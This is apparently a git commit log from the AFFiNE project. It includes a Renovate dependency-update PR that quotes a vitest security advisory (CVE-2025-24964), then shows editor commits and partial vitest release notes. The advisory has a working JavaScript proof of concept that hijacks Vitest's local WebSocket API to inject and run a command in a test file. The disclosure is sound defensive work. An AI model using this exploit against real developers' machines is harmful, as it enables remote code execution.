| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/vitest/3.0.2/3.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/3.0.2/3.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

### GitHub Vulnerability Alerts

#### [CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq)

### Summary
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

### Details
When [`api` option](https://vitest.dev/config/#api) is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
9a581e1c43/packages/vitest/src/api/setup.ts (L32-L46)

This WebSocket server has `saveTestFile` API that can edit a test file and `rerun` API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the `saveTestFile` API and then running that file by calling the `rerun` API.
9a581e1c43/packages/vitest/src/api/setup.ts (L66-L76)

### PoC
1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have `calc` executable in `PATH` env var (you'll likely have it if you are running on Windows), that application will be executed.

```js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
```

### Impact
This vulnerability can result in remote code execution for users that are using Vitest serve API.

---

### Release Notes

<details>
<summary>vitest-dev/vitest (vitest)</summary>

### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

##### 🚀 Features

-   **ui**: Insert message "no tests found" in ui - by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) in [https://github.com/vitest-dev/vitest/issues/7366](https://redirect.github.com/vitest-dev/vitest/issues/7366) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd)

##### 🐞 Bug Fixes

-   Validate websocket request - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7317](https://redirect.github.com/vitest-dev/vitest/issues/7317) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34)
-   Don't toggle cli cursor on non-TTY - by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7336](https://redirect.github.com/vitest-dev/vitest/issues/7336) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69)
-   **vite-node**: Differentiate file url with hash and query - by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa)  in [https://github.com/vitest-dev/vitest/issues/7365](https://redirect.github.com/vitest-dev/vitest/issues/7365) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546)

##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5)

### [`v3.0.4`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.4)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

#####    🐞 Bug Fixes

-   Filter projects eagerly during config resolution  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7313](https://redirect.github.com/vitest-dev/vitest/issues/7313) [<samp>(dff44)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dff4406d)
-   Apply `development|production` condition on Vites 6 by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) ([#&#8203;7301](https://redirect.github.com/vitest-dev/vitest/issues/7301)) [<samp>(ef146)</samp>](ef1464fc7b)
-   **browser**: Restrict served files from `/__screenshot-error`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7340](https://redirect.github.com/vitest-dev/vitest/issues/7340) [<samp>(ed9ae)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ed9aeba2)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7297](https://redirect.github.com/vitest-dev/vitest/issues/7297) [<samp>(38ea8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38ea8eae)
-   **runner**: Timeout long sync hook  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7289](https://redirect.github.com/vitest-dev/vitest/issues/7289) [<samp>(c60ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c60ee27c)
-   **typechecking**: Support typechecking parsing with Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7335](https://redirect.github.com/vitest-dev/vitest/issues/7335) [<samp>(bff70)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bff70be9)
-   **types**: Fix public types  -  by [@&#8203;mrginglymus](https://redirect.github.com/mrginglymus) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7328](https://redirect.github.com/vitest-dev/vitest/issues/7328) [<samp>(ce6af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ce6af70c)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.3...v3.0.4)

### [`v3.0.3`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.3)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

#####    🐞 Bug Fixes

-   **browser**:
    -   Don't throw a validation error if v8 coverage is used with filtered instances  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7306](https://redirect.github.com/vitest-dev/vitest/issues/7306) [<samp>(fa463)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa4634b2)
    -   Don't fail when running --browser.headless if the browser projest is part of the workspace  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7311](https://redirect.github.com/vitest-dev/vitest/issues/7311) [<samp>(e43a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e43a8f56)

#####    🏎 Performance

-   **reporters**: Update summary only when needed  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7291](https://redirect.github.com/vitest-dev/vitest/issues/7291) [<samp>(7f36b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7f36b6f9)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.2...v3.0.3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-05 09:12:59 +00:00
doouding
02122098c7 fix: drag block issue (#9902)
### Changed
- Added support for changing the preview offset during dragging.
- Fixed the preview rendering for embed block and surface-ref block
- Resolved an issue where the host element might be reused in certain cases, which could cause unexpected behavior
- Moved viewport-related constants and methods to a more appropriate location
2025-02-05 07:25:53 +00:00
Saul-Mirone
1858947e0c feat(editor): flat block data (#9854)
Flat block data.

A new block type to flatten the block data

```typescript
// For developers
type Model = {
  blocks: Record<string, {
    flavour: string;
    cells: Record<string, {
      rowId: string;
      colId: string;
      text: Text;
    }>;
    cols: Record<string, {
      align: string;
    }>
    rows: Record<string, {
      backgroundColor: string;
    }>
  }>
}

// How it's saved in yjs
const yData = {
  blocks: {
    'blockId1': {
      flavour: 'affine:table',
      'prop:rows:row1:backgroundColor': 'white',
      'prop:cols:col1:align': 'left',
      'prop:cells:cell1:rowId': 'row1',
      'prop:cells:cell1:colId': 'col1',
      'prop:cells:cell1:text': YText,
      prop:children: []
    },
  }
}
```
2025-01-25 12:57:21 +00:00
L-Sun
351816b343 fix(editor): prevent errors when moving a block to its own position (#9887) 2025-01-24 12:55:55 +00:00
Saul-Mirone
5783580054 fix(editor): y reactive deep watch (#9818)
Closes: [BS-2193](https://linear.app/affine-design/issue/BS-2193/fix-deep-watcher-of-reactive-yjs-data)
2025-01-21 08:08:01 +00:00
Saul-Mirone
f744002808 refactor(editor): add schema on block model (#9815) 2025-01-21 03:56:10 +00:00
renovate
9c3365aaca chore: bump up vitest monorepo to v3 (major) (#9739)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fbrowser/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fbrowser/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fbrowser/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fbrowser/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fcoverage-istanbul/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fcoverage-istanbul/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fcoverage-istanbul/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/@vitest%2fui/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vitest%2fui/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vitest%2fui/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vitest%2fui/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vitest%2fui/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`^2.1.8` -> `^3.0.0`](https://renovatebot.com/diffs/npm/vitest/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vitest](https://redirect.github.com/vitest-dev/vitest) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest)) | [`2.1.8` -> `3.0.2`](https://renovatebot.com/diffs/npm/vitest/2.1.8/3.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vitest/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vitest/2.1.8/3.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>vitest-dev/vitest (@&#8203;vitest/browser)</summary>

### [`v3.0.2`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.2)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.1...v3.0.2)

#####    🐞 Bug Fixes

-   Don't await an empty timeout after every test  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7281](https://redirect.github.com/vitest-dev/vitest/issues/7281) [<samp>(ef1aa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ef1aa893)
-   **expect**: Fix `expect().resolves/rejects` chain typings  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7273](https://redirect.github.com/vitest-dev/vitest/issues/7273) [<samp>(fa415)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fa415059)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.1...v3.0.2)

### [`v3.0.1`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.1)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.0...v3.0.1)

#####    🐞 Bug Fixes

-   Revert "fix: re-apply default conditions if using vite 6 or later ([https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071))"  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071) and [https://github.com/vitest-dev/vitest/issues/7271](https://redirect.github.com/vitest-dev/vitest/issues/7271) [<samp>(755ec)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/755ecdfa)
-   **deps**: Update all non-major dependencies  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7147](https://redirect.github.com/vitest-dev/vitest/issues/7147) [<samp>(537fa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/537fa5ed)

#####     [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.0...v3.0.1)

### [`v3.0.0`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.0)

[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.8...v3.0.0)

Vitest 3 is here! There are a few breaking changes, but we expect the migration to be smooth. This release page lists all changes made to the project during the beta. For the migration guide, please refer to the [documentation](https://vitest.dev/guide/migration.html#migrating-to-vitest-2-0).

#####    🚨 Breaking Changes

-   `spy.mockReset` changes  -  by [@&#8203;Lordfirespeed](https://redirect.github.com/Lordfirespeed) in [https://github.com/vitest-dev/vitest/issues/6426](https://redirect.github.com/vitest-dev/vitest/issues/6426) [<samp>(db7a8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/db7a8888)
-   Pass down context to test hooks  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7034](https://redirect.github.com/vitest-dev/vitest/issues/7034) [<samp>(82c2e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/82c2e244)
-   Support Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7026](https://redirect.github.com/vitest-dev/vitest/issues/7026) [<samp>(7abe8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7abe854c)
-   **coverage**: Always exclude test files  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7254](https://redirect.github.com/vitest-dev/vitest/issues/7254) [<samp>(b5268)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b5268965)
-   **deps**: Update fake-timers to v14.0.0  -  by [@&#8203;xxzefgh](https://redirect.github.com/xxzefgh) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7097](https://redirect.github.com/vitest-dev/vitest/issues/7097) [<samp>(c98b4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c98b4b1c)
-   **expect**: Check more properties for error equality  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5876](https://redirect.github.com/vitest-dev/vitest/issues/5876) [<samp>(10023)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/100230e9)
-   **runner**: Support `describe(..., { shuffle: boolean })` and inherit from parent suite  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6670](https://redirect.github.com/vitest-dev/vitest/issues/6670) [<samp>(aa1da)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/aa1dac3d)
-   **snapshot**: Reset snapshot state for `retry` and `repeats`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6817](https://redirect.github.com/vitest-dev/vitest/issues/6817) [<samp>(e8ce9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e8ce94cf)
-   **spy**: SpyOn reuses mock if method is already spyed on  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6464](https://redirect.github.com/vitest-dev/vitest/issues/6464) [<samp>(b3e43)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b3e43d04)
-   **vitest**: Don't expose default toFake config  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6288](https://redirect.github.com/vitest-dev/vitest/issues/6288) [<samp>(e3144)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e3144fd8)

#####    🚀 Features

-   Support inline `diff` options and support `printBasicPrototype`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and **Michał Grzegorzewski** in [https://github.com/vitest-dev/vitest/issues/6740](https://redirect.github.com/vitest-dev/vitest/issues/6740) [<samp>(39186)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/391860f7)
-   Allow a custom note when calling `ctx.skip()` dynamically  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6805](https://redirect.github.com/vitest-dev/vitest/issues/6805) [<samp>(697c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/697c35c5)
-   Allow inline workspace configuration  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6923](https://redirect.github.com/vitest-dev/vitest/issues/6923) [<samp>(562e1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/562e1b14)
-   Provide the current project to the global setup  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6942](https://redirect.github.com/vitest-dev/vitest/issues/6942) [<samp>(a5bbc)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a5bbc0a9)
-   Print project name as a label  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6925](https://redirect.github.com/vitest-dev/vitest/issues/6925) [<samp>(a3bef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a3bef598)
-   Print a deprecation warning if suite or test uses object as the third argument  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7031](https://redirect.github.com/vitest-dev/vitest/issues/7031) [<samp>(407f1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/407f10e4)
-   Expose versions from `vitest/node` entry point and statically on Vitest  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7029](https://redirect.github.com/vitest-dev/vitest/issues/7029) [<samp>(be8d4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/be8d479b)
-   `diff.printBasicPrototype: false` by default  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7043](https://redirect.github.com/vitest-dev/vitest/issues/7043) [<samp>(2b5c5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2b5c5201)
-   Prepare the Vitest API to be stable  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6962](https://redirect.github.com/vitest-dev/vitest/issues/6962) [<samp>(9a1b5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9a1b5012)
-   Support Vite v6 in mocker package  -  by [@&#8203;cexbrayat](https://redirect.github.com/cexbrayat) in [https://github.com/vitest-dev/vitest/issues/7058](https://redirect.github.com/vitest-dev/vitest/issues/7058) [<samp>(96f47)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/96f47d37)
-   Allow multi-browser configuration  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6975](https://redirect.github.com/vitest-dev/vitest/issues/6975) [<samp>(78b62)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/78b62ffe)
-   Add resolved project names to the reporter API  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7213](https://redirect.github.com/vitest-dev/vitest/issues/7213) [<samp>(91758)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/91758360)
-   Introduce the new reporter API  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7069](https://redirect.github.com/vitest-dev/vitest/issues/7069) [<samp>(76662)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/766624ab)
-   Add `describe.for`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7253](https://redirect.github.com/vitest-dev/vitest/issues/7253) [<samp>(0ad28)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0ad2860b)
-   **api**:
    -   Add onBrowserInit event  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7255](https://redirect.github.com/vitest-dev/vitest/issues/7255) [<samp>(80ce0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80ce0e1c)
-   **browser**:
    -   Support `actionTimeout` as playwright provider options  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6984](https://redirect.github.com/vitest-dev/vitest/issues/6984) [<samp>(e2c29)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e2c29eaf)
    -   Support clipboard api `userEvent.copy, cut, paste`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6769](https://redirect.github.com/vitest-dev/vitest/issues/6769) [<samp>(843a6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/843a621e)
    -   Implement locator.nth()  -  by [@&#8203;xeger](https://redirect.github.com/xeger) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7137](https://redirect.github.com/vitest-dev/vitest/issues/7137) [<samp>(38458)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38458ea6)
-   **cli**:
    -   Support excluding projects with `--project=!pattern`  -  by [@&#8203;haines](https://redirect.github.com/haines) in [https://github.com/vitest-dev/vitest/issues/6924](https://redirect.github.com/vitest-dev/vitest/issues/6924) [<samp>(ebfe9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ebfe942c)
    -   Support specifying a line number when filtering tests  -  by [@&#8203;mzhubail](https://redirect.github.com/mzhubail) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6411](https://redirect.github.com/vitest-dev/vitest/issues/6411) [<samp>(4d94b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4d94b956)
    -   Support location filters for suites  -  by [@&#8203;mzhubail](https://redirect.github.com/mzhubail) in [https://github.com/vitest-dev/vitest/issues/7048](https://redirect.github.com/vitest-dev/vitest/issues/7048) [<samp>(751e2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/751e2dce)
-   **coverage**:
    -   `thresholds` to support maximum uncovered items  -  by [@&#8203;jonahkagan](https://redirect.github.com/jonahkagan) in [https://github.com/vitest-dev/vitest/issues/7061](https://redirect.github.com/vitest-dev/vitest/issues/7061) [<samp>(bde98)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bde98b6d)
-   **expect**:
